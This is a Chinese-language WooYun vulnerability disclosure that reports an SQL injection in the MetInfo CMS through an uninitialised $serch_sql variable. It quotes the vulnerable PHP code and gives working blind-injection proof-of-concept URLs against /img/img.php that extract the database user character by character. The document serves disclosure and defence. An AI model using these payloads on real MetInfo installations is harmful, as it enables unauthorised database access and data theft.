当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125648

漏洞标题:Metinfo最新版一处注入及一个小问题

相关厂商:MetInfo

漏洞作者: 玉林嘎

提交时间:2015-07-09 15:24

修复时间:2015-10-10 13:10

公开时间:2015-10-10 13:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-12: 厂商已经确认,细节仅向厂商公开
2015-07-15: 细节向第三方安全合作伙伴开放
2015-09-05: 细节向核心白帽子及相关领域专家公开
2015-09-15: 细节向普通白帽子公开
2015-09-25: 细节向实习白帽子公开
2015-10-10: 细节向公众公开

简要描述:

rt

详细说明:

metinfo最新版
1、注入
漏洞文件:/include/global/listmod.php
截取关键代码

require_once substr(dirname(__FILE__), 0, -6).'common.inc.php';
require_once '../include/global/pseudo.php';
if($dbname!=$met_download&&$dbname!=$met_img&&$dbname!=$met_news&&$dbname!=$met_product){okinfo('../404.html');exit();}
if($class_list[$class1]['module']>=100||($class1==0&&$class2==0&&$class3==0)||$class1==10001){
if($search=="search"){
$search_module=$imgproduct=='product'?3:5;
if($searchtype)$search_module=$searchtype;
$query="select * from $met_column where module='$search_module' and (classtype=1 or releclass!=0) and lang='$lang' order by no_order ASC,id ASC";
$search_coloumn=$db->get_all($query);
$class1=$search_coloumn[0]['id'];
}else{
if($imgproduct){
$ipmd = $imgproduct=='product'?100:101;
if($imgproduct=='product'){$class1=$productlistid;}
else{$class1=$imglistid;}
}
}
}
else{
if(!$class1){
if(!$class2){$class2=$class_list[$class3]['bigclass'];}
$class1=$class_list[$class2]['bigclass'];
}
}
if($met_member_use){
$classaccess=$class3?$class3:($class2?$class2:$class1);
$classaccess= $db->get_one("SELECT * FROM $met_column WHERE id='$classaccess'");
$metaccess=$classaccess['access'];
}
require_once '../include/head.php';
if($class1){if(!is_array($class_list[$class1]))okinfo('../404.html');}
$pseudos=$db->get_one("select * from $met_column where filename='$class2' and lang='$lang'");
if($pseudos){
$class2=$pseudos[id];
}
......
$class1_info=$class_list[$class1]['releclass']?$class_list[$class_list[$class1]['releclass']]:$class_list[$class1];
$class2_info=$class_list[$class1]['releclass']?$class_list[$class1]:$class_list[$class2];
$class3_info=$class_list[$class1]['releclass']?$class_list[$class2]:$class_list[$class3];
if(!is_array($class1_info))okinfo('../404.html');
$class1sql=" class1='$class1' ";
if($class1&&!$class2&&!$class3){
foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){
if($val['releclass']==$class1){
$class1re.=" or class1='$val[id]' ";
}
}
if($class1re){
$class1sql='('.$class1sql.$class1re.')';
}
}
if($imgproduct){
$ipcom = $imgproduct=='product'?$productcom:$imgcom;
$serch_sql .=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1')";
if($ipcom=='com')$serch_sql .= " and com_ok=1";
if($class1 && $class_list[$class1]['module']<>$ipmd&&$class1!=10001){
$serch_sql .= ' and (('.$class1sql;
}else{
$serch_sql .= ' and ((1=1';
}
}else{
$serch_sql=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1') and (( $class1sql ";
}


if($imgproduct){
$ipcom = $imgproduct=='product'?$productcom:$imgcom;
$serch_sql .=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1')";
if($ipcom=='com')$serch_sql .= " and com_ok=1";
if($class1 && $class_list[$class1]['module']<>$ipmd&&$class1!=10001){
$serch_sql .= ' and (('.$class1sql;
}else{
$serch_sql .= ' and ((1=1';
}
}else{
$serch_sql=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1') and (( $class1sql ";
}


$serch_sql之前在这段代码前 包括后面调用这个文件的文件都没声明 所以第一次声明是在下列代码 但是if语句中的 $serch_sql是 $serch_sql .= 这类形式的

if($imgproduct){
$ipcom = $imgproduct=='product'?$productcom:$imgcom;
$serch_sql .=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1')";


导致可以直接控制$serch_sql参数啦
在之后

$total_count = $db->counter($dbname, "$serch_sql", "*");

进入查询
但是前面有一些条件 所以我们需要调用这个文件才行
$imgproduct需满足所以调用/img/img.php这个文件
证明:
我们在 赋值之后打印出来 看仔细点

1.png


2.png


3.png


可以控制
http://127.0.0.1/metinfo/img/img.php?class1=1&serch_sql=%201=if%28ascii%28substr%28user%28%29,1,1%29%29=114,1,2%29%23

5.png


http://127.0.0.1/metinfo/img/img.php?class1=1&serch_sql=%201=if%28ascii%28substr%28user%28%29,1,1%29%29=115,1,2%29%23

6.png

漏洞证明:

另一个小问题
/wap/module.php

switch($module){
default:
$temp = 'index';
$waptitle=$wap_title;
break;
case 1:
$temp = 'show';
$dbname = $met_column;
break;
case 2:
$temp = 'news';
$dbname = $met_news;
$list_num = $wap_news_list;
break;
case 3:
$temp = 'product';
$dbname = $met_product;
$list_num = $wap_product_list;
break;
case 4:
$temp = 'download';
$dbname = $met_download;
$list_num = $wap_download_list;
break;
case 5:
$temp = 'img';
$dbname = $met_img;
$list_num = $wap_img_list;
break;
case 6:
$temp = 'job';
$dbname = $met_job;
$list_num = $wap_job_list;
break;
}
if($temp != 'index'){
$ctitle = $db->get_one("select * from $dbname where lang='$lang' and id = '$id'");
if(!$id){
$clname = $class1?'class1':($class2?'class2':'class3');
$classwap = $class1?$class1:($class2?$class2:$class3);
$qtext = $met_wap_ok?"and wap_ok='1'":'';
$serch_sql=" where lang='$lang' and $clname = '$classwap' $qtext";
if($module==6)$serch_sql=" where lang='$lang' $qtext";
$order_sql=$class3?list_order($class_list[$class3]['list_order']):($class2?list_order($class_list[$class2]['list_order']):list_order($class_list[$class1]['list_order']));
if($module==6)$order_sql='order by no_order desc,addtime desc';
$total_count = $db->counter($dbname, "$serch_sql", "*");
$totaltop_count = $db->counter($dbname, "$serch_sql and top_ok='1'", "*");
require_once '../include/pager.class.php';
$page = (int)$page;
if($page_input){$page=$page_input;}
$rowset = new Pager($total_count,$list_num,$page);
$from_record = $rowset->_offset();
$page = $page?$page:1;
if($module==6){
$query = "SELECT * FROM $dbname $serch_sql and access='0' $order_sql LIMIT $from_record, $list_num";
}else{
$query = "SELECT * FROM $dbname $serch_sql and top_ok='1' and access='0' and (recycle='0' or recycle='-1') $order_sql LIMIT $from_record, $list_num";
}


$list_num参数 如果进入case 1 就可以控制

QQ图片20150709150135.png


本以为 是个limit注入

123.png


在这个表中 根本没这些 字段...

修复方案:

过滤

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-12 13:08

厂商回复:

是系统漏洞,后续版本修复。

最新状态:

暂无